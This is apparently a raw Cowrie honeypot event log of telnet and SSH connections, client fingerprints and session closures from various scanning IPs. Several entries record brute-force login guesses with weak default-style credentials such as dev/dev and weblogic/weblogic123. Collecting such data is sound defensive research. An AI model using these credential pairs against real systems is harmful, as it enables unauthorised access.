{"eventid":"cowrie.session.connect","src_ip":"65.108.71.177","src_port":51226,"dst_ip":"159.203.135.109","dst_port":23,"session":"7da8f37b856b","protocol":"telnet","message":"New connection: 65.108.71.177:51226 (159.203.135.109:23) [session: 7da8f37b856b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:44.274372Z"}
{"eventid":"cowrie.session.closed","duration":30.3328754901886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.058393Z","src_ip":"5.189.169.71","session":"2b569605ddfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.215651Z","src_ip":"176.65.139.103","session":"5257afd60675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58482,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbbe11965bfb","protocol":"telnet","message":"New connection: 94.23.163.94:58482 (10.17.0.5:23) [session: dbbe11965bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.273431Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7c6f678fd0","protocol":"telnet","message":"New connection: 5.189.169.71:38000 (10.17.0.5:23) [session: 5c7c6f678fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.857185Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57688,"dst_ip":"159.203.135.109","dst_port":22,"session":"b87378f1db5b","protocol":"ssh","message":"New connection: 159.203.92.129:57688 (159.203.135.109:22) [session: b87378f1db5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.914448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.919481Z","src_ip":"159.203.92.129","session":"b87378f1db5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.924337Z","src_ip":"159.203.92.129","session":"b87378f1db5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"passw0rd","message":"login attempt [anna/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:45.937120Z","src_ip":"159.203.92.129","session":"b87378f1db5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6a7c16ba03","protocol":"telnet","message":"New connection: 5.189.169.71:38002 (10.17.0.5:23) [session: 2d6a7c16ba03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:46.440962Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:46.986239Z","src_ip":"159.203.92.129","session":"b87378f1db5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59134554862976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:47.098141Z","src_ip":"5.189.169.71","session":"1a753398562b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51284,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a61d424ca32","protocol":"telnet","message":"New connection: 23.254.167.244:51284 (159.203.135.109:23) [session: 9a61d424ca32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:48.313335Z"}
{"eventid":"cowrie.session.closed","duration":30.396306037902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:49.199990Z","src_ip":"94.23.163.94","session":"6a56a44d5c4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.283464670181274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:50.086636Z","src_ip":"5.189.169.71","session":"34f4798d01b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630415439605713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:50.121567Z","src_ip":"5.189.169.71","session":"d2b7f225ce46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89711570739746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:50.229697Z","src_ip":"5.189.178.126","session":"940632efe16e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300684213638306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:51.221834Z","src_ip":"5.189.169.71","session":"6f1629ec21de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41558,"dst_ip":"10.17.0.5","dst_port":22,"session":"151733d0d461","protocol":"ssh","message":"New connection: 176.65.139.103:41558 (10.17.0.5:22) [session: 151733d0d461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:51.277494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:51.282272Z","src_ip":"176.65.139.103","session":"151733d0d461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:51.364511Z","src_ip":"176.65.139.103","session":"151733d0d461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.265156269073486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:51.558428Z","src_ip":"23.254.167.244","session":"2852aee03971","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:51.611706Z","src_ip":"176.65.139.103","session":"151733d0d461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.511308431625366,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:52.012820Z","src_ip":"23.254.167.244","session":"088028b071fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":48754,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74ac0836ea3","protocol":"telnet","message":"New connection: 5.189.169.71:48754 (10.17.0.5:23) [session: d74ac0836ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:52.448644Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:52.699494Z","src_ip":"176.65.139.103","session":"151733d0d461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36870,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f655872ce0","protocol":"telnet","message":"New connection: 94.23.163.94:36870 (10.17.0.5:23) [session: 68f655872ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:53.343207Z"}
{"eventid":"cowrie.session.closed","duration":31.735713005065918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:53.844013Z","src_ip":"23.254.167.244","session":"922a8d61b46e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57716,"dst_ip":"159.203.135.109","dst_port":23,"session":"62f3d38f1b84","protocol":"telnet","message":"New connection: 23.254.167.244:57716 (159.203.135.109:23) [session: 62f3d38f1b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:53.917034Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"59669b776af9","protocol":"telnet","message":"New connection: 5.189.169.71:48756 (10.17.0.5:23) [session: 59669b776af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:54.504387Z"}
{"eventid":"cowrie.session.closed","duration":30.75544810295105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:55.055256Z","src_ip":"5.189.169.71","session":"9150002ee57d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027854204177856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:55.475426Z","src_ip":"5.189.178.126","session":"a300827de12e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312681436538696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:56.069876Z","src_ip":"94.23.163.94","session":"c25e8aba6ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37010,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2bb74f10cfa","protocol":"telnet","message":"New connection: 5.189.169.71:37010 (10.17.0.5:23) [session: d2bb74f10cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:58.403100Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60742,"dst_ip":"10.17.0.5","dst_port":22,"session":"2773ad7625a0","protocol":"ssh","message":"New connection: 176.65.139.103:60742 (10.17.0.5:22) [session: 2773ad7625a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:58.731440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:58.735851Z","src_ip":"176.65.139.103","session":"2773ad7625a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:58.824403Z","src_ip":"176.65.139.103","session":"2773ad7625a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.131107568740845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:59.070150Z","src_ip":"5.189.178.126","session":"f7ed7c1a567f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:59.101715Z","src_ip":"176.65.139.103","session":"2773ad7625a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.342127323150635,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:59.393526Z","src_ip":"23.254.167.244","session":"3b23e4932bc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:00.197018Z","src_ip":"176.65.139.103","session":"2773ad7625a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37844,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd6f66a8bc0c","protocol":"telnet","message":"New connection: 23.254.167.244:37844 (159.203.135.109:23) [session: fd6f66a8bc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:01.570993Z"}
{"eventid":"cowrie.session.closed","duration":30.70784330368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:04.067254Z","src_ip":"5.189.169.71","session":"4727383fc643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960559368133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:04.184656Z","src_ip":"54.38.163.60","session":"c6f9731b563b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44734,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd49f3cd02d","protocol":"telnet","message":"New connection: 94.23.163.94:44734 (10.17.0.5:23) [session: 0fd49f3cd02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:04.350024Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f1c74b724b","protocol":"telnet","message":"New connection: 5.189.169.71:37022 (10.17.0.5:23) [session: 45f1c74b724b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:04.584140Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ce7eef16e4","protocol":"telnet","message":"New connection: 5.189.178.126:39818 (10.17.0.5:23) [session: 91ce7eef16e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:06.321649Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55776,"dst_ip":"10.17.0.5","dst_port":22,"session":"ded7778ee0ca","protocol":"ssh","message":"New connection: 176.65.139.103:55776 (10.17.0.5:22) [session: ded7778ee0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:06.840764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:06.863434Z","src_ip":"176.65.139.103","session":"ded7778ee0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:06.923708Z","src_ip":"176.65.139.103","session":"ded7778ee0ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:07.266021Z","src_ip":"176.65.139.103","session":"ded7778ee0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:08.351382Z","src_ip":"176.65.139.103","session":"ded7778ee0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44746,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ed299fdd458","protocol":"telnet","message":"New connection: 94.23.163.94:44746 (10.17.0.5:23) [session: 7ed299fdd458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:09.468041Z"}
{"eventid":"cowrie.session.closed","duration":30.378320455551147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:10.141518Z","src_ip":"94.23.163.94","session":"59854b8a85c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d19f7e7cfe2","protocol":"telnet","message":"New connection: 94.23.163.94:44754 (10.17.0.5:23) [session: 7d19f7e7cfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:11.042970Z"}
{"eventid":"cowrie.session.closed","duration":30.57382106781006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:11.081496Z","src_ip":"94.23.163.94","session":"64d19cce717b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490613222122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:11.127062Z","src_ip":"5.189.169.71","session":"09b0f4aeb71f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44768,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaacfd02f8ca","protocol":"telnet","message":"New connection: 94.23.163.94:44768 (10.17.0.5:23) [session: aaacfd02f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:12.091696Z"}
{"eventid":"cowrie.session.closed","duration":30.400996208190918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:12.193673Z","src_ip":"5.189.169.71","session":"eecbf962d8ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835148572921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:15.109385Z","src_ip":"65.108.71.177","session":"7da8f37b856b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53470,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07b96300eaf","protocol":"ssh","message":"New connection: 176.65.139.103:53470 (10.17.0.5:22) [session: f07b96300eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:15.428594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:15.441119Z","src_ip":"176.65.139.103","session":"f07b96300eaf","protocol":"ssh"}
